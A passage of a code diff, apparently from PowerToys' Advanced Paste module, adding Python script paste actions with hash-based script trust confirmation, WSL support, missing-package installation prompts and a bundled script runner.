Fill="{ThemeResource DividerStrokeColorDefaultBrush}"
Visibility="{x:Bind ViewModel.PythonScriptPasteFormats.Count, Mode=OneWay, Converter={StaticResource countToVisibilityConverter}}" />
<ListView
x:Name="PythonScriptsListView"
Grid.Row="4"
VerticalAlignment="Top"
IsItemClickEnabled="True"
ItemClick="PasteFormat_ItemClick"
ItemContainerTransitions="{x:Null}"
ItemTemplateSelector="{StaticResource PasteFormatTemplateSelector}"
ItemsSource="{x:Bind ViewModel.PythonScriptPasteFormats, Mode=OneWay}"
ScrollViewer.VerticalScrollBarVisibility="Disabled"
ScrollViewer.VerticalScrollMode="Disabled"
SelectionMode="None"
TabIndex="3" />
</Grid>
</ScrollViewer>
</Grid>

View File

@@ -208,5 +208,43 @@ namespace AdvancedPaste.Pages
Clipboard.SetHistoryItemAsContent(item.Item);
}
}
private async void ShowErrorDetailsBtn_Click(object sender, RoutedEventArgs e)
{
var details = ViewModel.PasteActionError?.Details;
if (string.IsNullOrEmpty(details))
{
return;
}
var scrollViewer = new ScrollViewer
{
MaxHeight = 400,
MinWidth = 400,
HorizontalScrollBarVisibility = ScrollBarVisibility.Disabled,
VerticalScrollBarVisibility = ScrollBarVisibility.Auto,
};
var textBlock = new TextBlock
{
Text = details,
TextWrapping = TextWrapping.Wrap,
FontFamily = new Microsoft.UI.Xaml.Media.FontFamily("Consolas"),
FontSize = 12,
IsTextSelectionEnabled = true,
};
scrollViewer.Content = textBlock;
var dialog = new ContentDialog
{
Title = ResourceLoaderInstance.ResourceLoader.GetString("ErrorDetailsDialogTitle"),
CloseButtonText = ResourceLoaderInstance.ResourceLoader.GetString("ErrorDetailsDialogClose"),
Content = scrollViewer,
XamlRoot = this.XamlRoot,
};
await dialog.ShowAsync();
}
}
}

View File

@@ -27,8 +27,26 @@ namespace AdvancedPaste.Settings
public PasteAIConfiguration PasteAIConfiguration { get; }
public IReadOnlyList<AdvancedPastePythonScriptAction> PythonScriptActions { get; }
public bool IsPythonScriptsEnabled { get; }
public string PythonScriptsFolder { get; }
public string PythonExecutablePath { get; }
public bool PythonUseWsl { get; }
public string PythonWslDistribution { get; }
public int PythonScriptTimeoutSeconds { get; }
public IReadOnlyDictionary<string, string> TrustedScriptHashes { get; }
public event EventHandler Changed;
Task SetActiveAIProviderAsync(string providerId);
void StoreTrustedScriptHash(string scriptPath, string hash);
}
}

View File

@@ -4,6 +4,7 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Abstractions;
using System.Linq;
using System.Threading;
@@ -25,6 +26,10 @@ namespace AdvancedPaste.Settings
private readonly Lock _loadingSettingsLock = new();
private readonly List<PasteFormats> _additionalActions;
private readonly List<AdvancedPasteCustomAction> _customActions;
private readonly List<AdvancedPastePythonScriptAction> _pythonScriptActions;
private FileSystemWatcher _scriptFolderWatcher;
private CancellationTokenSource _scriptFolderDebounce;
private string _watchedScriptsFolder = string.Empty;
private const string AdvancedPasteModuleName = "AdvancedPaste";
private const int MaxNumberOfRetry = 5;
@@ -48,6 +53,22 @@ namespace AdvancedPaste.Settings
public PasteAIConfiguration PasteAIConfiguration { get; private set; }
public IReadOnlyList<AdvancedPastePythonScriptAction> PythonScriptActions => _pythonScriptActions;
public string PythonScriptsFolder { get; private set; }
public bool IsPythonScriptsEnabled { get; private set; }
public string PythonExecutablePath { get; private set; }
public bool PythonUseWsl { get; private set; }
public string PythonWslDistribution { get; private set; } = string.Empty;
public int PythonScriptTimeoutSeconds { get; private set; } = 30;
public IReadOnlyDictionary<string, string> TrustedScriptHashes { get; private set; } = new Dictionary<string, string>();
public UserSettings(IFileSystem fileSystem)
{
_settingsUtils = new SettingsUtils(fileSystem);
@@ -57,8 +78,14 @@ namespace AdvancedPaste.Settings
CloseAfterLosingFocus = false;
EnableClipboardPreview = true;
PasteAIConfiguration = new PasteAIConfiguration();
PythonScriptsFolder = GetDefaultScriptsFolder();
PythonExecutablePath = string.Empty;
PythonUseWsl = false;
PythonWslDistribution = string.Empty;
PythonScriptTimeoutSeconds = 30;
_additionalActions = [];
_customActions = [];
_pythonScriptActions = [];
_taskScheduler = TaskScheduler.FromCurrentSynchronizationContext();
LoadSettingsFromJson();
@@ -66,6 +93,14 @@ namespace AdvancedPaste.Settings
_watcher = Helper.GetFileWatcher(AdvancedPasteModuleName, "settings.json", OnSettingsFileChanged, fileSystem);
}
private static string GetDefaultScriptsFolder() =>
System.IO.Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Microsoft",
"PowerToys",
"AdvancedPaste",
"Scripts");
private void OnSettingsFileChanged()
{
lock (_loadingSettingsLock)
@@ -131,6 +166,42 @@ namespace AdvancedPaste.Settings
_customActions.Clear();
_customActions.AddRange(properties.CustomActions.Value.Where(customAction => customAction.IsShown && customAction.IsValid));
var pythonScripts = properties.PythonScripts ?? new AdvancedPastePythonScriptSettings();
pythonScripts.MigrateLegacyIfNeeded();
var mode = pythonScripts.Mode ?? "disabled";
IsPythonScriptsEnabled = !string.Equals(mode, "disabled", StringComparison.OrdinalIgnoreCase);
PythonUseWsl = string.Equals(mode, "wsl", StringComparison.OrdinalIgnoreCase);
if (PythonUseWsl)
{
var wslSettings = pythonScripts.WslSettings ?? new PythonScriptWslSettings();
PythonScriptsFolder = string.IsNullOrWhiteSpace(wslSettings.ScriptsFolder)
? GetDefaultScriptsFolder()
: wslSettings.ScriptsFolder;
PythonExecutablePath = string.Empty;
PythonWslDistribution = wslSettings.Distribution ?? string.Empty;
}
else
{
var winSettings = pythonScripts.WindowsSettings ?? new PythonScriptWindowsSettings();
PythonScriptsFolder = string.IsNullOrWhiteSpace(winSettings.ScriptsFolder)
? GetDefaultScriptsFolder()
: winSettings.ScriptsFolder;
PythonExecutablePath = winSettings.PythonExecutablePath ?? string.Empty;
PythonWslDistribution = string.Empty;
}
PythonScriptTimeoutSeconds = pythonScripts.TimeoutSeconds > 0 ? pythonScripts.TimeoutSeconds : 30;
TrustedScriptHashes = new Dictionary<string, string>(
pythonScripts.TrustedScriptHashes ?? new Dictionary<string, string>(),
StringComparer.OrdinalIgnoreCase);
_pythonScriptActions.Clear();
_pythonScriptActions.AddRange(pythonScripts.Value.Where(a => a.IsShown));
UpdateScriptFolderWatcher(PythonScriptsFolder);
Changed?.Invoke(this, EventArgs.Empty);
}
@@ -295,6 +366,102 @@ namespace AdvancedPaste.Settings
return string.IsNullOrWhiteSpace(filtered) ? "default" : filtered.ToLowerInvariant();
}
private void UpdateScriptFolderWatcher(string folderPath)
{
if (string.Equals(_watchedScriptsFolder, folderPath, StringComparison.OrdinalIgnoreCase))
{
return;
}
_scriptFolderWatcher?.Dispose();
_scriptFolderWatcher = null;
_watchedScriptsFolder = folderPath;
if (string.IsNullOrWhiteSpace(folderPath))
{
return;
}
try
{
if (!System.IO.Directory.Exists(folderPath))
{
System.IO.Directory.CreateDirectory(folderPath);
}
_scriptFolderWatcher = new FileSystemWatcher(folderPath, "*.py")
{
NotifyFilter = NotifyFilters.FileName | NotifyFilters.LastWrite | NotifyFilters.CreationTime,
EnableRaisingEvents = true,
IncludeSubdirectories = false,
};
_scriptFolderWatcher.Changed += OnScriptFolderChanged;
_scriptFolderWatcher.Created += OnScriptFolderChanged;
_scriptFolderWatcher.Deleted += OnScriptFolderChanged;
_scriptFolderWatcher.Renamed += OnScriptFolderChanged;
}
catch (Exception ex)
{
Logger.LogError($"Failed to set up script folder watcher for {folderPath}", ex);
}
}
private void OnScriptFolderChanged(object sender, FileSystemEventArgs e)
{
lock (_loadingSettingsLock)
{
_scriptFolderDebounce?.Cancel();
_scriptFolderDebounce = new CancellationTokenSource();
Task.Delay(TimeSpan.FromMilliseconds(500))
.ContinueWith(
_ =>
{
Task.Factory
.StartNew(
() => Changed?.Invoke(this, EventArgs.Empty),
CancellationToken.None,
TaskCreationOptions.None,
_taskScheduler)
.Wait();
},
_scriptFolderDebounce.Token,
TaskContinuationOptions.NotOnCanceled,
TaskScheduler.Default);
}
}
public void StoreTrustedScriptHash(string scriptPath, string hash)
{
lock (_loadingSettingsLock)
{
try
{
var settings = _settingsUtils.GetSettingsOrDefault<AdvancedPasteSettings>(AdvancedPasteModuleName);
if (settings?.Properties?.PythonScripts is null)
{
return;
}
settings.Properties.PythonScripts.TrustedScriptHashes ??= new Dictionary<string, string>();
settings.Properties.PythonScripts.TrustedScriptHashes[scriptPath] = hash;
settings.Save(_settingsUtils);
// Update in-memory cache.
var updated = new Dictionary<string, string>(TrustedScriptHashes, StringComparer.OrdinalIgnoreCase)
{
[scriptPath] = hash,
};
TrustedScriptHashes = updated;
}
catch (Exception ex)
{
Logger.LogError("Failed to store trusted script hash", ex);
}
}
}
public async Task SetActiveAIProviderAsync(string providerId)
{
if (string.IsNullOrWhiteSpace(providerId))
@@ -387,6 +554,8 @@ namespace AdvancedPaste.Settings
if (disposing)
{
_cancellationTokenSource?.Dispose();
_scriptFolderDebounce?.Dispose();
_scriptFolderWatcher?.Dispose();
_watcher?.Dispose();
}

View File

@@ -40,6 +40,14 @@ public sealed class PasteFormat
IsSavedQuery = isSavedQuery,
};
public static PasteFormat CreatePythonScriptFormat(string name, string scriptPath, ClipboardFormat availableFormats) =>
new(PasteFormats.PythonScript, availableFormats, isAIServiceEnabled: false)
{
Name = name,
Prompt = scriptPath,
IsSavedQuery = true,
};
public PasteFormatMetadataAttribute Metadata => MetadataDict[Format];
public string IconGlyph => Metadata.IconGlyph;

View File

@@ -122,4 +122,13 @@ public enum PasteFormats
KernelFunctionDescription = "Takes user instructions and applies them to the current clipboard content (text or image). Use this function for image analysis, description, or transformation tasks beyond simple OCR.",
RequiresPrompt = true)]
CustomTextTransformation,
[PasteFormatMetadata(
IsCoreAction = false,
IconGlyph = "\uE943",
RequiresAIService = false,
CanPreview = true,
SupportedClipboardFormats = ClipboardFormat.Text | ClipboardFormat.Html | ClipboardFormat.Image | ClipboardFormat.Audio | ClipboardFormat.Video | ClipboardFormat.File,
KernelFunctionDescription = "Runs a user-provided Python script on clipboard content.")]
PythonScript,
}

View File

@@ -1,4 +1,4 @@
// Copyright (c) Microsoft Corporation
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
@@ -9,15 +9,23 @@ using System.Threading.Tasks;
using AdvancedPaste.Helpers;
using AdvancedPaste.Models;
using AdvancedPaste.Services.CustomActions;
using AdvancedPaste.Services.PythonScripts;
using ManagedCommon;
using Microsoft.PowerToys.Telemetry;
using Windows.ApplicationModel.DataTransfer;
namespace AdvancedPaste.Services;
public sealed class PasteFormatExecutor(IKernelService kernelService, ICustomActionTransformService customActionTransformService) : IPasteFormatExecutor
public sealed class PasteFormatExecutor(
IKernelService kernelService,
ICustomActionTransformService customActionTransformService,
IPythonScriptService pythonScriptService,
IPythonScriptTrustService pythonScriptTrustService) : IPasteFormatExecutor
{
private readonly IKernelService _kernelService = kernelService;
private readonly ICustomActionTransformService _customActionTransformService = customActionTransformService;
private readonly IPythonScriptService _pythonScriptService = pythonScriptService;
private readonly IPythonScriptTrustService _pythonScriptTrustService = pythonScriptTrustService;
public async Task<DataPackage> ExecutePasteFormatAsync(PasteFormat pasteFormat, PasteActionSource source, CancellationToken cancellationToken, IProgress<double> progress)
{
@@ -32,6 +40,15 @@ public sealed class PasteFormatExecutor(IKernelService kernelService, ICustomAct
var clipboardData = Clipboard.GetContent();
// PythonScript must NOT run inside Task.Run: the trust confirmation (ContentDialog)
// requires the UI (XAML) thread and will throw if called from a thread-pool thread.
// Python script execution is fully async (process.WaitForExitAsync), so it is safe
// to await it directly without wrapping in Task.Run.
if (format == PasteFormats.PythonScript)
{
return await ExecutePythonScriptAsync(pasteFormat.Prompt, clipboardData, cancellationToken, progress);
}
// Run on thread-pool; although we use Async routines consistently, some actions still occasionally take a long time without yielding.
return await Task.Run(async () =>
pasteFormat.Format switch
@@ -42,6 +59,92 @@ public sealed class PasteFormatExecutor(IKernelService kernelService, ICustomAct
});
}
private async Task<DataPackage> ExecutePythonScriptAsync(
string scriptPath,
DataPackageView clipboardData,
CancellationToken cancellationToken,
IProgress<double> progress)
{
// Security: ensure the script is trusted before executing.
if (!_pythonScriptTrustService.IsTrusted(scriptPath))
{
var hash = _pythonScriptTrustService.ComputeHash(scriptPath);
var approved = await _pythonScriptTrustService.RequestTrustAsync(scriptPath, hash);
if (!approved)
{
throw new OperationCanceledException("User declined to trust the Python script.");
}
_pythonScriptTrustService.StoreTrust(scriptPath, hash);
}
var metadata = _pythonScriptService.ReadMetadata(scriptPath);
// Pre-flight: check for missing packages and offer to install them.
var missingPackages = await _pythonScriptService.GetMissingRequirementsAsync(metadata, cancellationToken);
if (missingPackages.Count > 0)
{
var approved = await _pythonScriptTrustService.RequestInstallAsync(metadata.Name, missingPackages);
if (!approved)
{
throw new OperationCanceledException("User declined to install missing Python packages.");
}
await _pythonScriptService.InstallRequirementsAsync(missingPackages, metadata.Platform, cancellationToken);
}
var detectedFormat = await clipboardData.GetAvailableFormatsAsync();
// V2 interface: script defines advanced_paste_from_*_to_*() — use unified runner.
if (metadata.IsV2)
{
return await _pythonScriptService.ExecuteScriptAsync(scriptPath, metadata.Platform, clipboardData, detectedFormat, cancellationToken, progress);
}
// Legacy paths for backward compatibility.
if (string.Equals(metadata.Platform, "linux", StringComparison.OrdinalIgnoreCase))
{
return await _pythonScriptService.ExecuteWslScriptAsync(scriptPath, clipboardData, detectedFormat, cancellationToken, progress);
}
else
{
// Windows mode: script modifies the clipboard in-process; we return the updated clipboard.
await _pythonScriptService.ExecuteWindowsScriptAsync(scriptPath, detectedFormat, cancellationToken, progress);
// Re-read clipboard after script has run.
return Clipboard.GetContent() is { } updatedView
? await DataPackageFromViewAsync(updatedView)
: new DataPackage();
}
}
private static async Task<DataPackage> DataPackageFromViewAsync(DataPackageView view)
{
var pkg = new DataPackage();
if (view.Contains(StandardDataFormats.Text))
{
pkg.SetText(await view.GetTextAsync());
}
else if (view.Contains(StandardDataFormats.Html))
{
pkg.SetHtmlFormat(await view.GetHtmlFormatAsync());
}
else if (view.Contains(StandardDataFormats.StorageItems))
{
var items = await view.GetStorageItemsAsync();
pkg.SetStorageItems(items);
}
else if (view.Contains(StandardDataFormats.Bitmap))
{
var bitmap = await view.GetBitmapAsync();
pkg.SetBitmap(bitmap);
}
return pkg;
}
private static void WriteTelemetry(PasteFormats format, PasteActionSource source)
{
switch (source)

View File

@@ -0,0 +1,71 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
using AdvancedPaste.Models;
using Windows.ApplicationModel.DataTransfer;
namespace AdvancedPaste.Services.PythonScripts;
public interface IPythonScriptService
{
/// <summary>
/// V2 unified execution: C# reads the clipboard, pipes data as JSON to the runner,
/// and receives a DataPackage from JSON stdout. Works on both Windows and WSL
/// depending on the specified platform.
/// </summary>
Task<DataPackage> ExecuteScriptAsync(string scriptPath, string platform, DataPackageView clipboardData, ClipboardFormat detectedFormat, CancellationToken cancellationToken, IProgress<double> progress);
/// <summary>
/// Legacy Windows mode: the script directly manipulates the clipboard. C# waits for the process to exit.
/// Kept for backward compatibility with scripts that use win32clipboard directly.
/// </summary>
Task ExecuteWindowsScriptAsync(string scriptPath, ClipboardFormat detectedFormat, CancellationToken cancellationToken, IProgress<double> progress);
/// <summary>
/// Legacy WSL mode: C# passes data via JSON stdin, receives a DataPackage from JSON stdout.
/// Kept for backward compatibility with scripts that use json.load(sys.stdin) directly.
/// </summary>
Task<DataPackage> ExecuteWslScriptAsync(string scriptPath, DataPackageView clipboardData, ClipboardFormat detectedFormat, CancellationToken cancellationToken, IProgress<double> progress);
/// <summary>
/// Parses the @advancedpaste: header comments from a Python script file.
/// </summary>
PythonScriptMetadata ReadMetadata(string scriptPath);
/// <summary>
/// Discovers all .py scripts in <paramref name="folderPath"/> and returns their metadata.
/// </summary>
IReadOnlyList<PythonScriptMetadata> DiscoverScripts(string folderPath);
/// <summary>
/// Finds the Python executable to use. Returns null if none is found.
/// </summary>
string TryFindPythonExecutable(string overridePath = null);
/// <summary>
/// Returns true if wsl.exe is available on this machine.
/// </summary>
bool IsWslAvailable();
/// <summary>
/// Checks which of the declared requirements are not yet importable.
/// Returns an empty list if all packages are installed.
/// </summary>
Task<IReadOnlyList<PythonRequirement>> GetMissingRequirementsAsync(
PythonScriptMetadata metadata,
CancellationToken cancellationToken);
/// <summary>
/// Installs the given packages via pip / pip3.
/// </summary>
Task InstallRequirementsAsync(
IReadOnlyList<PythonRequirement> requirements,
string platform,
CancellationToken cancellationToken);
}

View File

@@ -0,0 +1,37 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.Generic;
using System.Threading.Tasks;
namespace AdvancedPaste.Services.PythonScripts;
public interface IPythonScriptTrustService
{
/// <summary>
/// Returns true if the script at <paramref name="scriptPath"/> is currently trusted (hash matches stored value).
/// </summary>
bool IsTrusted(string scriptPath);
/// <summary>
/// Shows a UI confirmation dialog for the script. Returns true if the user approved execution.
/// </summary>
Task<bool> RequestTrustAsync(string scriptPath, string hash);
/// <summary>
/// Persists the trust entry for <paramref name="scriptPath"/> with the given <paramref name="hash"/>.
/// </summary>
void StoreTrust(string scriptPath, string hash);
/// <summary>
/// Computes the SHA-256 hash of the script file and returns the hex string.
/// </summary>
string ComputeHash(string scriptPath);
/// <summary>
/// Shows a confirmation dialog listing the missing packages and asking the user
/// whether to install them. Returns true if the user approved installation.
/// </summary>
Task<bool> RequestInstallAsync(string scriptName, IReadOnlyList<PythonRequirement> missingPackages);
}

View File

@@ -0,0 +1,13 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
namespace AdvancedPaste.Services.PythonScripts;
/// <summary>
/// Represents a single Python package requirement declared via
/// <c># @advancedpaste:requires import_name=pip_package</c>.
/// </summary>
/// <param name="ImportName">The Python import name used in the script (e.g. "cv2").</param>
/// <param name="PipPackage">The pip install name (e.g. "opencv-python-headless"). Equals <see cref="ImportName"/> when not explicitly specified.</param>
public sealed record PythonRequirement(string ImportName, string PipPackage);

View File

@@ -0,0 +1,21 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Collections.Generic;
using AdvancedPaste.Models;
namespace AdvancedPaste.Services.PythonScripts;
public sealed record PythonScriptMetadata(
string ScriptPath,
string Name,
string Description,
ClipboardFormat SupportedFormats,
string Platform,
string Version,
bool IsEnabled,
IReadOnlyList<PythonRequirement> Requirements,
bool IsV2 = false,
string OutputTypeHint = null);

View File

@@ -0,0 +1,126 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Threading.Tasks;
using AdvancedPaste.Helpers;
using AdvancedPaste.Settings;
using ManagedCommon;
using Microsoft.UI.Xaml.Controls;
namespace AdvancedPaste.Services.PythonScripts;
public sealed class PythonScriptTrustService(IUserSettings userSettings) : IPythonScriptTrustService
{
private readonly IUserSettings _userSettings = userSettings;
public bool IsTrusted(string scriptPath)
{
var hashes = _userSettings.TrustedScriptHashes;
if (hashes is null || !hashes.TryGetValue(scriptPath, out var storedHash))
{
return false;
}
try
{
var currentHash = ComputeHash(scriptPath);
return string.Equals(currentHash, storedHash, StringComparison.OrdinalIgnoreCase);
}
catch (Exception ex)
{
Logger.LogError($"Failed to compute hash for {scriptPath}", ex);
return false;
}
}
public async Task<bool> RequestTrustAsync(string scriptPath, string hash)
{
try
{
var resourceLoader = ResourceLoaderInstance.ResourceLoader;
var dialog = new ContentDialog
{
Title = resourceLoader.GetString("PythonScriptTrustTitle"),
Content = string.Format(
System.Globalization.CultureInfo.CurrentCulture,
resourceLoader.GetString("PythonScriptTrustContent"),
scriptPath),
PrimaryButtonText = resourceLoader.GetString("PythonScriptTrustConfirm"),
CloseButtonText = resourceLoader.GetString("PythonScriptTrustCancel"),
};
// XamlRoot must be set for ContentDialog to function.
var mainWindow = (Microsoft.UI.Xaml.Application.Current as AdvancedPaste.App)?.GetMainWindow();
if (mainWindow?.Content?.XamlRoot is { } xamlRoot)
{
dialog.XamlRoot = xamlRoot;
}
var result = await dialog.ShowAsync();
return result == ContentDialogResult.Primary;
}
catch (Exception ex)
{
Logger.LogError("Failed to show trust dialog", ex);
return false;
}
}
public void StoreTrust(string scriptPath, string hash)
{
_userSettings.StoreTrustedScriptHash(scriptPath, hash);
}
public string ComputeHash(string scriptPath)
{
using var stream = File.OpenRead(scriptPath);
var hashBytes = SHA256.HashData(stream);
return Convert.ToHexStringLower(hashBytes);
}
public async Task<bool> RequestInstallAsync(string scriptName, IReadOnlyList<PythonRequirement> missingPackages)
{
try
{
var resourceLoader = ResourceLoaderInstance.ResourceLoader;
var packageList = string.Join("\n", missingPackages.Select(r =>
string.Equals(r.ImportName, r.PipPackage, StringComparison.Ordinal)
? $" • {r.PipPackage}"
: $" • {r.PipPackage} (import: {r.ImportName})"));
var dialog = new ContentDialog
{
Title = resourceLoader.GetString("PythonPackageInstallTitle"),
Content = string.Format(
System.Globalization.CultureInfo.CurrentCulture,
resourceLoader.GetString("PythonPackageInstallContent"),
scriptName,
packageList),
PrimaryButtonText = resourceLoader.GetString("PythonPackageInstallConfirm"),
CloseButtonText = resourceLoader.GetString("PythonPackageInstallCancel"),
};
var mainWindow = (Microsoft.UI.Xaml.Application.Current as AdvancedPaste.App)?.GetMainWindow();
if (mainWindow?.Content?.XamlRoot is { } xamlRoot)
{
dialog.XamlRoot = xamlRoot;
}
var result = await dialog.ShowAsync();
return result == ContentDialogResult.Primary;
}
catch (Exception ex)
{
Logger.LogError("Failed to show package install dialog", ex);
return false;
}
}
}

View File

@@ -0,0 +1,247 @@
# Copyright (c) Microsoft Corporation
# The Microsoft Corporation licenses this file to you under the MIT license.
# See the LICENSE file in the project root for more information.
"""
Advanced Paste Script Runner (V3 Named Function Interface)
This runner is shipped with PowerToys and is NOT user-editable.
It loads a user script, discovers the single advanced_paste_from_<input>_to_<output>
function by name convention, calls it with the current clipboard data, and formats
the return value into JSON on stdout.
Each script must define exactly one function matching the pattern:
def advanced_paste_from_<input>_to_<output>(<param>)
Supported input types:
- text, html, image, files
Required output types (declared via _to_ suffix):
- text, html, image, file, files
Examples:
- advanced_paste_from_text_to_text(text: str) → output is text
- advanced_paste_from_text_to_image(text: str) → output is image
- advanced_paste_from_image_to_text(image_path) → output is text
- advanced_paste_from_files_to_text(file_paths) → output is text
Protocol:
- Input: JSON on stdin (clipboard data from C#)
- Output: JSON on stdout (result for C# to set on clipboard)
- Errors: stderr (displayed to user on failure)
"""
import importlib.util
import json
import os
import re
import sys
from pathlib import Path
def _apply_output_hint(result, hint: str) -> dict:
"""
Force the output to the type specified by the _to_ suffix in the function name.
Converts the return value to match the hinted type.
"""
if result is None:
if hint == "text":
return {"result_type": "text", "text": ""}
elif hint == "html":
return {"result_type": "html", "html": ""}
elif hint == "image":
return {"result_type": "image", "image_path": ""}
elif hint == "audio":
return {"result_type": "audio", "audio_path": ""}
elif hint == "video":
return {"result_type": "video", "video_path": ""}
elif hint in ("file", "files"):
return {"result_type": hint, "file_paths": []}
if hint == "text":
return {"result_type": "text", "text": str(result) if not isinstance(result, str) else result}
elif hint == "html":
return {"result_type": "html", "html": str(result) if not isinstance(result, str) else result}
elif hint == "image":
path = str(result)
return {"result_type": "image", "image_path": path}
elif hint == "audio":
path = str(result)
return {"result_type": "audio", "audio_path": path}
elif hint == "video":
path = str(result)
return {"result_type": "video", "video_path": path}
elif hint == "file":
if isinstance(result, (list, tuple)):
paths = [str(p) for p in result]
else:
paths = [str(result)]
return {"result_type": "file", "file_paths": paths}
elif hint == "files":
if isinstance(result, (list, tuple)):
paths = [str(p) for p in result]
else:
paths = [str(result)]
return {"result_type": "files", "file_paths": paths}
# Fallback (shouldn't happen with valid hints)
return {"result_type": "text", "text": str(result)}
# Pattern matching advanced_paste_from_<input>_to_<output> function names.
_AP_FUNCTION_PATTERN = re.compile(
r"^advanced_paste_from_(text|html|image|audio|video|files)_to_(text|html|image|audio|video|file|files)$"
)
def _load_user_module(script_path: str):
"""Dynamically load the user script as a Python module."""
spec = importlib.util.spec_from_file_location("_user_script", script_path)
if spec is None or spec.loader is None:
raise ImportError(f"Cannot load script: {script_path}")
module = importlib.util.module_from_spec(spec)
# Add the script's directory to sys.path so relative imports/helpers work.
script_dir = os.path.dirname(os.path.abspath(script_path))
if script_dir not in sys.path:
sys.path.insert(0, script_dir)
spec.loader.exec_module(module)
return module
def _discover_ap_function(module) -> tuple:
"""
Discover the single advanced_paste_from_<input>_to_<output> function in the module.
Returns a tuple (input_type, output_type, function) or None if not found.
Exits with error if multiple functions are defined.
"""
matches = []
for name in dir(module):
match = _AP_FUNCTION_PATTERN.match(name)
if match:
fn = getattr(module, name)
if callable(fn):
input_type = match.group(1)
output_type = match.group(2)
matches.append((input_type, output_type, fn))
if len(matches) == 0:
return None
if len(matches) > 1:
names = [f"advanced_paste_from_{m[0]}_to_{m[1]}" for m in matches]
print(
f"Error: script defines multiple advanced_paste_from_*_to_* functions "
f"({', '.join(names)}). Only one is allowed per script.",
file=sys.stderr,
)
sys.exit(1)
return matches[0]
def _format_output(result, output_type: str) -> dict:
"""
Format the return value according to the declared output type from the function name.
The output_type comes from the _to_ suffix and is always provided.
"""
if result is None:
if output_type in ("file", "files"):
return {"result_type": output_type, "file_paths": []}
elif output_type == "image":
return {"result_type": "image", "image_path": ""}
elif output_type == "audio":
return {"result_type": "audio", "audio_path": ""}
elif output_type == "video":
return {"result_type": "video", "video_path": ""}
elif output_type == "html":
return {"result_type": "html", "html": ""}
return {"result_type": "text", "text": ""}
return _apply_output_hint(result, output_type)
# ---------------------------------------------------------------------------
# Main entry point
# ---------------------------------------------------------------------------
def main():
if len(sys.argv) < 2:
print("Usage: _runner.py <script_path>", file=sys.stderr)
sys.exit(1)
script_path = sys.argv[1]
if not os.path.isfile(script_path):
print(f"Error: script not found: {script_path}", file=sys.stderr)
sys.exit(1)
# Read input payload from stdin.
try:
data = json.load(sys.stdin)
except json.JSONDecodeError as e:
print(f"Error: invalid JSON input: {e}", file=sys.stderr)
sys.exit(1)
# Load the user script.
module = _load_user_module(script_path)
# Discover the single advanced_paste_from_* function.
ap_result = _discover_ap_function(module)
if ap_result is None:
print(
f"Error: script '{os.path.basename(script_path)}' does not define an "
f"advanced_paste_from_<input>_to_<output> function.\n"
f"Example: def advanced_paste_from_text_to_text(text): return text.upper()",
file=sys.stderr,
)
sys.exit(1)
input_type, output_type, fn = ap_result
# Determine the input data key for this function's input type.
input_map = {
"text": "text",
"html": "html",
"image": "image_path",
"audio": "audio_path",
"video": "video_path",
"files": "file_paths",
}
key = input_map.get(input_type, input_type)
input_value = data.get(key)
# Expose work_dir as environment variable so scripts can write output files
# to a location accessible from both WSL and Windows (under /mnt/c/...).
work_dir = data.get("work_dir", "")
if work_dir:
os.environ["ADVANCED_PASTE_WORK_DIR"] = work_dir
# Check if the clipboard has matching data for this script's input type.
formats = data.get("format", ["text"])
if isinstance(formats, str):
formats = [formats]
if input_type not in formats:
print(
f"Error: script expects '{input_type}' input but clipboard has [{', '.join(formats)}].",
file=sys.stderr,
)
sys.exit(1)
if not input_value:
print(
f"Error: no data available for format '{input_type}' "
f"(expected '{key}' in input payload).",
file=sys.stderr,
)
sys.exit(1)
# Call the function.
result = fn(input_value)
output = _format_output(result, output_type)
# Output JSON result.
json.dump(output, sys.stdout, ensure_ascii=False)
if __name__ == "__main__":
main()

View File

@@ -212,10 +212,10 @@
<value>Delete</value>
</data>
<data name="CustomFormatTextBox.PlaceholderText" xml:space="preserve">
<value>Describe what format you want..</value>
<value>Search or describe what format you want..</value>
</data>
<data name="InputTxtBoxTooltip.Text" xml:space="preserve">
<value>Describe what format you want..</value>
<value>Search or describe what format you want..</value>
</data>
<data name="LearnMoreLink.Text" xml:space="preserve">
<value>Privacy</value>
@@ -372,4 +372,73 @@
<value>Unable to load Foundry Local model: {0}</value>
<comment>{0} is the model identifier. Do not translate {0}.</comment>
</data>
<data name="PythonNotFound" xml:space="preserve">
<value>Python was not found. Please install Python or configure the path in Settings.</value>
</data>
<data name="WslNotAvailable" xml:space="preserve">
<value>WSL is not installed or not available. Cannot run Linux scripts.</value>
</data>
<data name="PythonScriptFailed" xml:space="preserve">
<value>The Python script failed to execute.</value>
</data>
<data name="PythonScriptTimeout" xml:space="preserve">
<value>Script execution timed out ({0} seconds).</value>
<comment>{0} is the configured timeout in seconds. Do not translate {0}.</comment>
</data>
<data name="PythonScriptNotFound" xml:space="preserve">
<value>Script file not found: {0}</value>
<comment>{0} is the script file path. Do not translate {0}.</comment>
</data>
<data name="PythonScriptInvalidJson" xml:space="preserve">
<value>The script output is not valid JSON.</value>
</data>
<data name="PythonScriptTrustTitle" xml:space="preserve">
<value>Run Python Script?</value>
</data>
<data name="PythonScriptTrustContent" xml:space="preserve">
<value>This script has not been verified. Running untrusted scripts can be a security risk. Do you want to run the following script?
{0}</value>
<comment>{0} is the script file path. Do not translate {0}.</comment>
</data>
<data name="PythonScriptTrustConfirm" xml:space="preserve">
<value>Run</value>
</data>
<data name="PythonScriptTrustCancel" xml:space="preserve">
<value>Cancel</value>
</data>
<data name="PythonPackageInstallTitle" xml:space="preserve">
<value>Install Missing Packages?</value>
</data>
<data name="PythonPackageInstallContent" xml:space="preserve">
